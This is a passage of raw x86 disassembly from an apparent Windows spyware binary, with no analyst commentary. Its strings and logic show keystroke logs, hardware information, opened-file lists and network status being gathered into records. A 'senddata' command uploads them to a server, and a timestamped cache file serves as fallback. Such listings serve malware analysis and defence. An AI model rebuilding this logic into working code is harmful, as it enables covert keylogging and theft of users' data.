mov dword [ebp - 0x114], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x1e4]
add eax, 0x610
push eax
call fcn.0043b780
push str.hwinfo
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x28
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x1e4]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x1dc]
mov byte [ebp - 0x1e4], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x120]
add eax, 0x640
push eax
call fcn.0043b780
push str.opened_files
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x29
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x120]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x118]
mov byte [ebp - 0x120], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x114]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x1e4]
add eax, 0x650
push eax
call fcn.0043b780
push str.net_status
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x2a
call fcn.0043f600
movzx ecx, byte [ebp - 0x1e4]
mov esi, eax
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x1dc]
mov byte [ebp - 0x1e4], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x1dc]
push 0
mov byte [ebp - 0x1e4], 0
call fcn.004088b0
mov esi, dword [0x533960]
mov al, byte [ebp - 0x1e4]
mov cl, byte [esi + 0x610]
mov byte [esi + 0x610], al
mov eax, dword [ebp - 0x1dc]
mov edx, dword [esi + 0x61c]
mov byte [ebp - 0x1e4], cl
mov ecx, dword [esi + 0x618]
mov dword [esi + 0x618], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [esi + 0x61c], eax
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x1dc]
push 0
mov byte [ebp - 0x1e4], 0
call fcn.004088b0
mov esi, dword [0x533960]
mov al, byte [ebp - 0x1e4]
mov cl, byte [esi + 0x5e0]
mov byte [esi + 0x5e0], al
mov eax, dword [ebp - 0x1dc]
mov edx, dword [esi + 0x5ec]
mov byte [ebp - 0x1e4], cl
mov ecx, dword [esi + 0x5e8]
mov dword [esi + 0x5e8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [esi + 0x5ec], eax
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0x1dc]
push 0
mov byte [ebp - 0x1e4], 0
call fcn.004088b0
mov esi, dword [0x533960]
mov al, byte [ebp - 0x1e4]
mov cl, byte [esi + 0x630]
mov byte [esi + 0x630], al
mov eax, dword [ebp - 0x1dc]
mov edx, dword [esi + 0x63c]
mov byte [ebp - 0x1e4], cl
mov ecx, dword [esi + 0x638]
mov dword [esi + 0x638], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [esi + 0x63c], eax
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x1dc]
push 0
mov byte [ebp - 0x1e4], 0
call fcn.004088b0
mov esi, dword [0x533960]
mov al, byte [ebp - 0x1e4]
mov cl, byte [esi + 0x5f0]
mov byte [esi + 0x5f0], al
mov eax, dword [ebp - 0x1dc]
mov edx, dword [esi + 0x5fc]
mov byte [ebp - 0x1e4], cl
mov ecx, dword [esi + 0x5f8]
mov dword [esi + 0x5f8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [esi + 0x5fc], eax
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x1dc]
push 0
mov byte [ebp - 0x1e4], 0
call fcn.004088b0
mov esi, dword [0x533960]
mov al, byte [ebp - 0x1e4]
mov cl, byte [esi + 0x640]
mov byte [esi + 0x640], al
mov eax, dword [ebp - 0x1dc]
mov edx, dword [esi + 0x64c]
mov byte [ebp - 0x1e4], cl
mov ecx, dword [esi + 0x648]
mov dword [esi + 0x648], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [esi + 0x64c], eax
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov byte [ebp - 4], 0x30
push 0
lea ecx, [ebp - 0x1dc]
mov byte [ebp - 0x1e4], 0
call fcn.004088b0
mov byte [ebp - 4], 2
mov esi, dword [0x533960]
mov al, byte [ebp - 0x1e4]
mov cl, byte [esi + 0x650]
mov byte [esi + 0x650], al
mov edx, dword [esi + 0x65c]
mov eax, dword [ebp - 0x1dc]
mov byte [ebp - 0x1e4], cl
mov ecx, dword [esi + 0x658]
mov dword [esi + 0x658], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [esi + 0x65c], eax
mov dword [ebp - 0x1d8], edx
jmp 0x432a07
mov eax, dword [ebp + 8]
cmp edi, 0x10
lea ecx, [ebp + 8]
cmovae ecx, eax
cmp dword [ebp + 0x18], 5
jne 0x432975
mov eax, dword [ecx]
mov edx, str.sleep
mov esi, 1
cmp eax, dword [edx]
jne 0x432298
add ecx, 4
mov esi, 0xfffffffd
add edx, 4
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x4322bf
cmp esi, 0xfffffffd
je 0x4322bb
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x4322bf
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x4322bf
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x4322bf
xor eax, eax
jmp 0x4322c4
sbb eax, eax
or eax, 1
test eax, eax
jne 0x432975
xorps xmm0, xmm0
mov byte [ebp - 0x120], 3
push 0x18
movq qword [ebp - 0x118], xmm0
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
mov byte [ebp - 4], 0x31
mov ecx, edi
push 4
push str.IDLE
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
call fcn.00408530
mov dword [ebp - 0x118], edi
push str.statusclient
push str.client
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x32
call fcn.0043f600
mov ecx, eax
call fcn.0043f600
mov esi, eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x114]
mov cl, byte [esi]
mov byte [esi], 3
mov edx, dword [esi + 0xc]
mov byte [ebp - 0x120], cl
mov ecx, dword [esi + 8]
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [esi + 8], edi
mov dword [esi + 0xc], eax
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov edx, dword [0x533960]
movzx eax, byte [edx + 0x5e0]
lea esi, [edx + 0x5e0]
sub eax, 0
je 0x4323c1
sub eax, 1
je 0x4323af
sub eax, 1
jne 0x4324a5
mov ecx, dword [esi + 8]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x4323b6
mov eax, dword [esi + 8]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x4324a5
movzx eax, byte [edx + 0x5f0]
sub eax, 0
je 0x4323fd
sub eax, 1
je 0x4323e8
sub eax, 1
jne 0x4324a5
mov ecx, dword [edx + 0x5f8]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x4323f2
mov eax, dword [edx + 0x5f8]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x4324a5
movzx eax, byte [edx + 0x630]
sub eax, 0
je 0x432435
sub eax, 1
je 0x432424
sub eax, 1
jne 0x4324a5
mov ecx, dword [edx + 0x638]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x43242e
mov eax, dword [edx + 0x638]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x4324a5
movzx eax, byte [edx + 0x610]
sub eax, 0
je 0x432469
sub eax, 1
je 0x432458
sub eax, 1
jne 0x4324a5
mov ecx, dword [edx + 0x618]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x432462
mov eax, dword [edx + 0x618]
cmp dword [eax + 4], 0
sete al
test al, al
je 0x4324a5
movzx eax, byte [edx + 0x640]
sub eax, 0
je 0x432a0c
sub eax, 1
je 0x432490
sub eax, 1
jne 0x4324a5
mov ecx, dword [edx + 0x648]
mov eax, dword [ecx]
cmp eax, dword [ecx + 4]
jmp 0x43249a
mov eax, dword [edx + 0x648]
cmp dword [eax + 4], 0
sete al
test al, al
jne 0x432a0c
push esi
lea ecx, [ebp - 0x120]
call fcn.0043b780
push str.dados
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x33
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x120]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x118]
mov byte [ebp - 0x120], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x114]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x118], ecx
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x114], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x1e4]
add eax, 0x5f0
push eax
call fcn.0043b780
push str.keylog
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x34
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x1e4]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x1dc]
mov byte [ebp - 0x1e4], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x18c]
add eax, 0x630
push eax
call fcn.0043b780
push 0x519cf8
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x35
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x18c]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x184]
mov byte [ebp - 0x18c], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x180]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x184], ecx
lea ecx, [ebp - 0x18c]
mov dword [ebp - 0x180], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x144]
add eax, 0x610
push eax
call fcn.0043b780
push str.hwinfo
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x36
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x144]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x13c]
mov byte [ebp - 0x144], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x138]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x13c], ecx
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x138], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x168]
add eax, 0x640
push eax
call fcn.0043b780
push str.opened_files
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x37
call fcn.0043f600
mov byte [ebp - 4], 2
mov esi, eax
movzx ecx, byte [ebp - 0x168]
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x160]
mov byte [ebp - 0x168], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x15c]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x160], ecx
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x15c], edx
call fcn.004076e0
mov eax, dword [0x533960]
lea ecx, [ebp - 0x208]
add eax, 0x650
push eax
call fcn.0043b780
push str.net_status
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x38
call fcn.0043f600
movzx ecx, byte [ebp - 0x208]
mov esi, eax
mov dl, byte [esi]
mov byte [esi], cl
mov eax, dword [ebp - 0x200]
mov byte [ebp - 0x208], dl
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1fc]
mov dword [esi + 0xc], eax
mov dword [ebp - 0x200], ecx
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x1fc], edx
call fcn.004076e0
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x1dc]
push 0
mov byte [ebp - 0x1e4], 0
call fcn.004088b0
mov esi, dword [0x533960]
mov al, byte [ebp - 0x1e4]
mov cl, byte [esi + 0x610]
mov byte [esi + 0x610], al
mov eax, dword [ebp - 0x1dc]
mov edx, dword [esi + 0x61c]
mov byte [ebp - 0x1e4], cl
mov ecx, dword [esi + 0x618]
mov dword [esi + 0x618], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [esi + 0x61c], eax
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x1dc]
push 0
mov byte [ebp - 0x1e4], 0
call fcn.004088b0
mov esi, dword [0x533960]
mov al, byte [ebp - 0x1e4]
mov cl, byte [esi + 0x5e0]
mov byte [esi + 0x5e0], al
mov eax, dword [ebp - 0x1dc]
mov edx, dword [esi + 0x5ec]
mov byte [ebp - 0x1e4], cl
mov ecx, dword [esi + 0x5e8]
mov dword [esi + 0x5e8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [esi + 0x5ec], eax
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x1dc]
push 0
mov byte [ebp - 0x1e4], 0
call fcn.004088b0
mov esi, dword [0x533960]
mov al, byte [ebp - 0x1e4]
mov cl, byte [esi + 0x630]
mov byte [esi + 0x630], al
mov eax, dword [ebp - 0x1dc]
mov edx, dword [esi + 0x63c]
mov byte [ebp - 0x1e4], cl
mov ecx, dword [esi + 0x638]
mov dword [esi + 0x638], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [esi + 0x63c], eax
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x1dc]
push 0
mov byte [ebp - 0x1e4], 0
call fcn.004088b0
mov esi, dword [0x533960]
mov al, byte [ebp - 0x1e4]
mov cl, byte [esi + 0x5f0]
mov byte [esi + 0x5f0], al
mov eax, dword [ebp - 0x1dc]
mov edx, dword [esi + 0x5fc]
mov byte [ebp - 0x1e4], cl
mov ecx, dword [esi + 0x5f8]
mov dword [esi + 0x5f8], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [esi + 0x5fc], eax
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x1dc]
push 0
mov byte [ebp - 0x1e4], 0
call fcn.004088b0
mov esi, dword [0x533960]
mov al, byte [ebp - 0x1e4]
mov cl, byte [esi + 0x640]
mov byte [esi + 0x640], al
mov eax, dword [ebp - 0x1dc]
mov edx, dword [esi + 0x64c]
mov byte [ebp - 0x1e4], cl
mov ecx, dword [esi + 0x648]
mov dword [esi + 0x648], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1dc], ecx
lea ecx, [ebp - 0x1e4]
mov dword [esi + 0x64c], eax
mov dword [ebp - 0x1d8], edx
call fcn.004076e0
mov byte [ebp - 4], 0x3e
jmp 0x4321f6
xorps xmm0, xmm0
mov byte [ebp - 0x208], 3
push 0x18
movq qword [ebp - 0x200], xmm0
call fcn.00474630
mov edi, eax
add esp, 4
lea eax, [ebp - 0x1d1]
mov dword [ebp - 0x1d8], edi
mov dword [ebp - 0x1dc], eax
lea eax, [ebp + 8]
mov byte [ebp - 4], 0x3f
push eax
mov ecx, edi
call fcn.00407ac0
mov esi, dword [ebp - 0x1d8]
mov dword [ebp - 0x200], edi
mov dword [ebp - 0x1fc], esi
push str.acao
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x40
call fcn.0043f600
mov byte [ebp - 4], 2
mov cl, byte [eax]
mov byte [eax], 3
mov edx, dword [eax + 0xc]
mov byte [ebp - 0x208], cl
mov ecx, dword [eax + 8]
mov dword [ebp - 0x200], ecx
lea ecx, [ebp - 0x208]
mov dword [eax + 8], edi
mov dword [eax + 0xc], esi
mov dword [ebp - 0x1fc], edx
call fcn.004076e0
sub esp, 0x18
mov ecx, esp
push 0x22
push str.Enviando_dados_para_o_servidor....
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.00408530
call fcn.0040cd00
add esp, 8
lea eax, [ebp - 0x1ac]
lea ecx, [ebp - 0x1f8]
push eax
call fcn.0043b5e0
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x1ac]
cmp dword [ebp - 0x198], 0x10
cmovae ecx, dword [ebp - 0x1ac]
call fcn.00434d10
mov dword [ebp - 0x1e8], eax
cmp eax, 0x512695
je 0x4331ef
sub esp, 0x28
lea edx, [ebp - 0x1e8]
mov eax, esp
lea ecx, [ebp - 0x208]
push 1
mov dword [eax + 0x24], 0
call fcn.0043fd60
add esp, 0x2c
mov ecx, 0x5335e8
mov byte [ebp - 4], 0x42
mov dword [ebp - 0x13c], 0
mov dword [ebp - 0x138], 0xf
mov byte [ebp - 0x14c], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x432ac0
sub ecx, edx
push ecx
push 0x5335e8
lea ecx, [ebp - 0x14c]
call fcn.00408530
mov byte [ebp - 4], 0x43
mov edi, dword [0x533960]
cmp dword [edi + 0x498], 0
jne 0x432dec
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
cmovae ecx, dword [ebp + 8]
cmp dword [ebp + 0x18], 8
jne 0x432dec
mov edx, str.senddata
mov esi, 4
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x432b25
add ecx, 4
add edx, 4
sub esi, 4
jae 0x432b10
xor eax, eax
jmp 0x432b4a
cmp al, byte [edx]
jne 0x432b45
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x432b45
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x432b45
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x432b45
xor eax, eax
jmp 0x432b4a
sbb eax, eax
or eax, 1
test eax, eax
jne 0x432dec
lea eax, [edi + 0x3f0]
push eax
call fcn.004d2bd6
movups xmm1, xmmword [eax]
movups xmmword [ebp - 0x134], xmm1
movups xmm0, xmmword [eax + 0x10]
psrldq xmm1, 8
movups xmmword [ebp - 0x124], xmm0
mov eax, dword [eax + 0x20]
mov dword [ebp - 0x114], eax
movd eax, xmm1
sub eax, 3
mov dword [ebp - 0x12c], eax
lea eax, [ebp - 0x134]
push eax
call fcn.004d3389
mov eax, dword [ebp - 0x114]
movups xmm0, xmmword [ebp - 0x134]
mov dword [ebp - 0x1b0], eax
lea eax, [ebp - 0x1d0]
push eax
movups xmmword [ebp - 0x1d0], xmm0
push str._Y__m__d__H__M__S
movups xmm0, xmmword [ebp - 0x124]
lea eax, [ebp - 0x110]
push 0x14
push eax
movups xmmword [ebp - 0x1c0], xmm0
call fcn.004d3978
add esp, 0x18
lea ecx, [ebp - 0x14c]
push str..cache_
call fcn.004078c0
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x14c]
call fcn.004078c0
push 0x5126b4
lea ecx, [ebp - 0x14c]
call fcn.004078c0
mov edx, dword [0x533960]
lea ecx, [ebp - 0x170]
mov edx, dword [edx + 0x64]
call fcn.00401e10
mov byte [ebp - 4], 0x44
mov edx, eax
cmp dword [eax + 0x14], 0x10
jb 0x432c33
mov edx, dword [eax]
mov edi, dword [eax + 0x10]
mov esi, dword [ebp - 0x138]
mov eax, esi
mov ecx, dword [ebp - 0x13c]
sub eax, ecx
push edi
push edx
cmp edi, eax
ja 0x432c77
lea eax, [ecx + edi]
cmp esi, 0x10
mov dword [ebp - 0x13c], eax
lea eax, [ebp - 0x14c]
cmovae eax, dword [ebp - 0x14c]
lea esi, [eax + ecx]
push esi
call fcn.004c8d50
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x432c90
mov byte [ebp - 0x1e8], 0
lea ecx, [ebp - 0x14c]
push dword [ebp - 0x1e8]
push edi
call fcn.004098a0
mov byte [ebp - 4], 0x43
mov edx, dword [ebp - 0x15c]
cmp edx, 0x10
jb 0x432cce
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x432cc4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433220
push edx
push ecx
call fcn.004748b1
add esp, 8
push 0x512bec
lea ecx, [ebp - 0x14c]
call fcn.004078c0
mov edx, dword [0x533960]
lea ecx, [ebp - 0x170]
mov edx, dword [edx + 0x60]
call fcn.00401e10
mov byte [ebp - 4], 0x45
mov ecx, eax
cmp dword [eax + 0x14], 0x10
jb 0x432d00
mov ecx, dword [eax]
mov edi, dword [eax + 0x10]
mov esi, dword [ebp - 0x138]
mov eax, esi
mov edx, dword [ebp - 0x13c]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x432d44
lea eax, [edi + edx]
cmp esi, 0x10
mov dword [ebp - 0x13c], eax
lea eax, [ebp - 0x14c]
cmovae eax, dword [ebp - 0x14c]
lea esi, [eax + edx]
push esi
call fcn.004c8d50
add esp, 0xc
mov byte [esi + edi], 0
jmp 0x432d5d
mov byte [ebp - 0x1e8], 0
lea ecx, [ebp - 0x14c]
push dword [ebp - 0x1e8]
push edi
call fcn.004098a0
mov byte [ebp - 4], 0x43
mov edx, dword [ebp - 0x15c]
cmp edx, 0x10
jb 0x432d9b
mov ecx, dword [ebp - 0x170]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x432d91
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x433225
push edx
push ecx
call fcn.004748b1
add esp, 8
mov edi, dword [0x533960]
lea eax, [ebp - 0x14c]
mov dword [ebp - 0x160], 0
mov dword [ebp - 0x15c], 0xf
mov byte [ebp - 0x170], 0
lea ecx, [edi + 0x488]
cmp ecx, eax
je 0x432dec
cmp dword [ebp - 0x138], 0x10
push dword [ebp - 0x13c]
cmovae eax, dword [ebp - 0x14c]
push eax
call fcn.00408530
mov edi, dword [0x533960]
lea eax, [edi + 0x488]
push eax
lea ecx, [ebp - 0x194]
call fcn.00407ac0
sub esp, 0x10
mov byte [ebp - 4], 0x46
lea eax, [ebp - 0x208]
mov ecx, esp
push eax
call fcn.0043b780
call fcn.004304a0
add esp, 0x10
test eax, eax
jne 0x432f42
lea eax, [ebp - 0x194]
push eax
lea ecx, [ebp - 0x170]
call fcn.00407ac0
sub esp, 0x18
mov byte [ebp - 4], 0x47
mov esi, esp
mov dword [ebp - 0x1d8], esp
mov dword [ebp - 0x1e8], esi
push 0x2a
push str.Falha_ao_enviar_para_WS__gravei_arquivo_
push ecx
mov ecx, eax
call fcn.0040a320
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
sub esp, 0x18
mov byte [ebp - 4], 0x48
mov ecx, esp
push 0x519d9c
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov byte [ecx], 0
call fcn.00407930
mov byte [ebp - 4], 0x47
call fcn.004109f0
add esp, 0x30
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x170]
call fcn.00407990
lea eax, [ebp - 0x194]
push eax
lea ecx, [ebp - 0x128]
call fcn.00407ac0
sub esp, 0x18
mov byte [ebp - 4], 0x49
mov ecx, esp
mov edx, str.Falha_ao_enviar_para_WS__gravei_arquivo_
push eax
call fcn.0043f020
add esp, 4
call fcn.0040cd00
add esp, 0x18
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x128]
call fcn.00407990
sub esp, 0x18
lea eax, [ebp - 0x1ac]
mov ecx, esp
mov dword [ebp - 0x1d8], esp
push eax
call fcn.00407ac0
sub esp, 0x18
mov byte [ebp - 4], 0x4a
mov ecx, esp
push 0x519d9c
call fcn.00407a60
mov byte [ebp - 4], 0x46
call fcn.004109f0
add esp, 0x30
jmp 0x43315b
mov edx, str.senddata
lea ecx, [ebp + 8]
call fcn.00409510
test al, al
je 0x43315b
sub esp, 0x10
mov ecx, esp
push ecx
call fcn.00407700
mov ecx, dword [0x533960]
lea ecx, [ecx + 0x610]
call fcn.0043b740
sub esp, 0x10
mov ecx, esp
push ecx
call fcn.00407700
mov ecx, dword [0x533960]
lea ecx, [ecx + 0x5e0]
call fcn.0043b740
sub esp, 0x10
mov ecx, esp
push ecx
call fcn.00407700
mov ecx, dword [0x533960]
lea ecx, [ecx + 0x630]
call fcn.0043b740
sub esp, 0x10
mov ecx, esp
push ecx
call fcn.00407700
mov ecx, dword [0x533960]
lea ecx, [ecx + 0x5f0]
call fcn.0043b740
sub esp, 0x10
mov ecx, esp
push ecx
call fcn.00407700
mov ecx, dword [0x533960]
lea ecx, [ecx + 0x640]
call fcn.0043b740
sub esp, 0x10
mov ecx, esp
push ecx
call fcn.00407700
mov ecx, dword [0x533960]
lea ecx, [ecx + 0x650]
call fcn.0043b740
mov eax, dword [0x533960]
sub esp, 0x10
add eax, 0x5e0
mov dword [ebp - 0x1d8], esp
mov ecx, esp
push eax
call fcn.0043b780
push str.dados
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x4b
call fcn.0043f600
mov ecx, eax
mov byte [ebp - 4], 0x46
call fcn.0043b740
mov eax, dword [0x533960]
sub esp, 0x10
add eax, 0x5f0
mov dword [ebp - 0x1d8], esp
mov ecx, esp
push eax
call fcn.0043b780
push str.keylog
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x4c
call fcn.0043f600
mov ecx, eax
mov byte [ebp - 4], 0x46
call fcn.0043b740
mov eax, dword [0x533960]
sub esp, 0x10
add eax, 0x630
mov dword [ebp - 0x1d8], esp
mov ecx, esp
push eax
call fcn.0043b780
mov byte [ebp - 4], 0x4d
push 0x519cf8
lea ecx, [ebp - 0x1f8]
call fcn.0043f600
mov ecx, eax
mov byte [ebp - 4], 0x46
call fcn.0043b740
mov eax, dword [0x533960]
sub esp, 0x10
add eax, 0x610
mov dword [ebp - 0x1d8], esp
mov ecx, esp
push eax
call fcn.0043b780
push str.hwinfo
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x4e
call fcn.0043f600
mov ecx, eax
mov byte [ebp - 4], 0x46
call fcn.0043b740
mov eax, dword [0x533960]
sub esp, 0x10
add eax, 0x640
mov dword [ebp - 0x1d8], esp
mov ecx, esp
push eax
call fcn.0043b780
push str.opened_files
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x4f
call fcn.0043f600
mov ecx, eax
mov byte [ebp - 4], 0x46
call fcn.0043b740
mov eax, dword [0x533960]
sub esp, 0x10
add eax, 0x650
mov dword [ebp - 0x1d8], esp
mov ecx, esp
push eax
call fcn.0043b780
push str.net_status
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x50
call fcn.0043f600
mov ecx, eax
mov byte [ebp - 4], 0x46
call fcn.0043b740
mov edx, str.senddata
lea ecx, [ebp + 8]
call fcn.00409510
test al, al
je 0x4331ce
sub esp, 0xc
lea eax, [ebp - 0x194]
lea ecx, [ebp - 0x2b8]
push eax
call fcn.0043b220
push 0
lea eax, [ebp - 0x168]
mov byte [ebp - 4], 0x51
push 4
push eax
